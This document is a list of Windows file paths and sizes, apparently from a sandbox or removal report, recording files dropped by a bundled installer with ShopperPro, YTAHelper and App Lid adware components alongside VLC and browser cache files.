C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\13.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\38.js (2 bytes)
C:\Windows\Tasks\2e557ab0-2598-41a4-9b03-eb21869ae6cc.job (71 bytes)
%Program Files% (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e-11.exe (15037 bytes)
%Program Files% (x86)\App Lid\SuperSocket.ClientEngine.Common.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\223.js (825 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\91.js (6584 bytes)
C:\Windows\Tasks\temp_2e557ab0-2598-41a4-9b03-eb21869ae6cc.job (138 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\7.js (685 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\userCode\extension.js (354 bytes)
%Program Files% (x86)\App Lid\App Lid-bg.exe (5441 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\207.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\102.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\nsisos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\22.js (8 bytes)
%Program Files% (x86)\App Lid\SuperSocket.ClientEngine.Core.dll (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\89837 (395978 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\userCode\background.js (636 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\177.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\42.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsa8F25.tmp (718358 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil.exe (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\46.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\2c511d52-7693-4ed4-9079-996023e7571e-4.dll (39329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\28.js (536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\35.js (9 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\221.js (415 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\2c511d52-7693-4ed4-9079-996023e7571e-11.dll (50351 bytes)
%Program Files% (x86)\App Lid\App Lid.ico (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB32D2.tmp (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\SMALLTEST[1].htm (70 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\AccDownload.dll (11667 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B1.tmp (133285 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\MoreInfo.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse57B2.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\POG4A4IGA7H2TID2ESH3.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DCXJIBRYY2CIR4GHOEKM.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ETGS5CAINCTMHOQIWIVE.temp (196 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu3BB9.tmp (348150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\nsProcess.dll (12 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\System.dll (23 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\MoreInfo.dll (15 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35246 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\AccDownload.dll (11671 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (44462 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3BC9.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_YTAHelper.exe_dc1cb0a6c5fbb2d495014aa7f606d9b96363555_0853889f\Report.wer (194492 bytes)
C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B90B117906B8A74C79D1BC450C2B94B1_A54F26A8A41DE52C237D54D67F12793F (471 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F4D9C889B7AEBCF4E1A2DAABC5C3628A_22C8E4BF761C7EA1A19DF9254F0D3360 (1504 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B90B117906B8A74C79D1BC450C2B94B1_A54F26A8A41DE52C237D54D67F12793F (1544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F4D9C889B7AEBCF4E1A2DAABC5C3628A_22C8E4BF761C7EA1A19DF9254F0D3360 (471 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78x589b1e936e1f038dc45bd8ffff59b359.png.pagespeed.ic.z-mKIqvmmwfgfqJRMgXY[1].png (23275 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78xf3ad8b396434c21b4c214fd667ee391d.png.pagespeed.ic.UE0vLEh6vWiEUEcOgEs3[1].png (584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x59982d8527c0da41e35817e8fc15c0fc.png.pagespeed.ic.fL2V5qF20YFQXTrbuXvg[1].png (10790 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x6a12dc1a298e870b610a58a56ba0f5ec.jpg.pagespeed.ic.uwtHBdtZOQtaPxcmCnam[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\lightbox.js.pagespeed.jm.87aPq22TFLOpRo_q8qwK[1].js (2033 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78xf1ed3cd0cae7a3524376e6f9369c7ab8.png.pagespeed.ic.dwpMwIBWppm4Nfr3l5SV[1].png (12088 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x13ca8e322e15bc394d66a37bec12e3b4.png.pagespeed.ic.k7KWs3vEenybMdMGDswR[1].png (67337 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UXGGC045.txt (89 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\A.style.css.pagespeed.cf.aA84XopnLuCplsgxWdKn[1].css (172 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\303x148xb43daeae6aca6ab7d6a00084494d81db.png.pagespeed.ic.nnrPCPy1PfNzw7bPygU_[1].png (11116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x07fce0a4ff78cc7e6376e227f046ce06.png.pagespeed.ic.hz09jctHczLz0PvLD0tH[1].png (58683 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.5stars.jpg.pagespeed.ce.u3YEB6ujvUgGS-bedVMJ[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x00c73f6d4e4eb25289dddb86e2d1e319.jpg.pagespeed.ic.d0FQ8ZLWOVQUxEW7SL6j[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\4.5stars.jpg.pagespeed.ce.FnZJEV2PTVMznvHxrh21[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\52d5414e7372639389ab7e9e4d479aee.png.pagespeed.ce.0W_R5npG-ygjyX2J47_Z[1].png (38663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xac5196fbf245580eee113296dff14d0b.png.pagespeed.ic.A5hcD5ZxIijQD8QWvY2v[1].png (16949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\loading[1].gif (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\logo_illust.jpg.pagespeed.ce.z1_aG_Fc9E2Du85_fGKz[1].jpg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\scripts.js.pagespeed.jm.I_RPxsiRE08xV8BTmz_B[1].js (862 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\7e5817bad781bbc2d2e43b350ccb53db.png.pagespeed.ce.qpuXYWo7ZcBLadujlS_v[1].png (7900 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\bg_main.jpg.pagespeed.ce.JxoBZ0-OVe7Q4uq_LJMh[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78xd586df222f5069b6c396373d67d0163b.png.pagespeed.ic.ydkvzRjn2dlJvFiaNZe1[1].png (65531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xda84c206c2019448521379d2ff837774.png.pagespeed.ic.zNOyV3YZBa4c4pZHmvGx[1].png (9277 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\btn_bg.jpg.pagespeed.ce.aIEJinchAzMgR9IBpV67[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78x4f263f4be4c4396c9078d1874c05b928.png.pagespeed.ic.bmYMZwCv4nYrtahb4sPP[1].png (8914 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[2].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78xcc3148e57a2928cd1ada1bbea553c3c2.png.pagespeed.ic.bh30vH_VMi2L357W8L7o[1].png (584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\303x148xc16ddcefe8d9f0d1f850dfcd8f36687d.jpg.pagespeed.ic.lwAL2oq89B2IQKWYablA[1].jpg (1118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xe94782c9200f8de809a50327879df1cc.png.pagespeed.ic.Mr4gF218xk_cqItCCN1L[1].png (60998 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78xb85261679e262228a562f693b3e6ef6f.png.pagespeed.ic.4bcRSEMVhrePWbmTPv28[1].png (64899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\jquery.smooth-scroll.min.js.pagespeed.jm.WowFBOF837MdT8jW9Obi[1].js (404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x567f43cb72fe3ac6419369953394cadd.png.pagespeed.ic.uZppn9OyDiD3h_rBjWty[1].png (70586 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xbbbde9554589bda63791709a6785e0a3.png.pagespeed.ic.qJ1hwUZH7Wgh_YVz1ST6[1].png (11990 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78xb147a5a09b49b133d347bd975a4c5616.png.pagespeed.ic.QXzy6NzFeIJWnFBIEjZR[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\4.0stars.jpg.pagespeed.ce.7EhkSCmV4fiZvLox5Lxa[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x7c9d412c730603d1d82b98a548a71bac.png.pagespeed.ic.0mNREhR0t6hPCWrBRAvl[1].png (17910 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78x0692c2494a7331a77c05954f79c5480a.png.pagespeed.ic.zAS1ZfjtEdazQ-1rNhQn[1].png (11444 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.0stars.jpg.pagespeed.ce.NdTKoZKg7fpUU9HjqHGP[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xa6ae526a0a22dcfc743a66d44a3e09e3.png.pagespeed.ic.T09n9J9zW9Kz7xtQ06O1[1].png (49435 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\5.0stars.jpg.pagespeed.ce.c5Mw3vRCV9Ep78xfmv43[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x442a5f30204dd385d17de5848683274f.png.pagespeed.ic.WBPXYOEykW-iuqxTUu7j[1].png (27015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x83a4cee7a59522b93ed0ae1fa73ce8f3.png.pagespeed.ic.fC57HngUEG5e6KKP2pds[1].png (6638 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\303x148x5b8f93845e4dd380fec57bc644ec49d1.jpg.pagespeed.ic.KJwkbv_hY_qT-vepcZiq[1].jpg (229 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78xddb3b88cf98eb0220c9e6c252e376749.png.pagespeed.ic.HIjFfmSXODkOzvpOncCx[1].png (34160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\home[1].htm (7256 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x36d7cd00f07003a67021237993257d08.png.pagespeed.ic.cWg2Rji-hSk9fEeSL6Ya[1].png (20039 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery.min[1].js (49456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MKJ818LW.txt (221 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\303xNx1f8ffa22b53dfc2f6b7f1850bb6b73e8.png.pagespeed.ic.tFX8jwo12PDh1bULrFCd[1].png (7106 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x7d4f668f3d1818d01b6b9684b669d0db.png.pagespeed.ic.gGkeGXUraEg5vr5zk3oz[1].png (7646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78x5dbc29649669598ff43174b9ee730008.png.pagespeed.ic.MXGvk4tCfgQH5IuvWlvx[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78xf4e4b853ddab3b763f0af17d513631bd.png.pagespeed.ic.qOS1_AxoxISP5vyxWYJQ[1].png (27410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78xe54e8c720dffffa619c3b0eacec9381a.png.pagespeed.ic.ZQdyYxnfLUYUuPTrA-U2[1].png (3357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ace33f0a1eddf74bbe8d1bfac70deded.png.pagespeed.ce.jVbW8Iy_z54HerZlqj8z[1].png (22607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78x58d196b3e886a838d021adc8c8848f1e.png.pagespeed.ic.1ZFBkb8zgu3cym51RTl5[1].png (2897 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\close[1].png (207 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xa64a4b5c68c364d30083fbd0b0363585.png.pagespeed.ic.T0d2UyMfzUSQwDaDnzgL[1].png (38425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78x3d8bbea6bcae57d705c676f7050a7d51.png.pagespeed.ic.3_Ep6KF6j8iA4GuiHb5k[1].png (9812 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\A.lightbox.css.pagespeed.cf.ygMGUJc3UJo8nRkTykPW[1].css (73 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x23428f8768d928d2bd45dd3b0c4d0057.png.pagespeed.ic.7nPUyI6bY-QhYePRE8Xn[1].png (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\logo.jpg.pagespeed.ce.Khx_XwXN03oCbtjhN-zG[1].jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery-ui.min[1].js (135334 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\manifest[2].xml (25 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_arrays.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.log (326774 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_02.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\fmc.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\hotkeys.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white.png (70 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_inhibit.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\common.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\view.html (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\speaker-32.png (942 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_pool.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es_out.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\AUTHORS.txt (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\mpora.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_events.h (7 bytes)
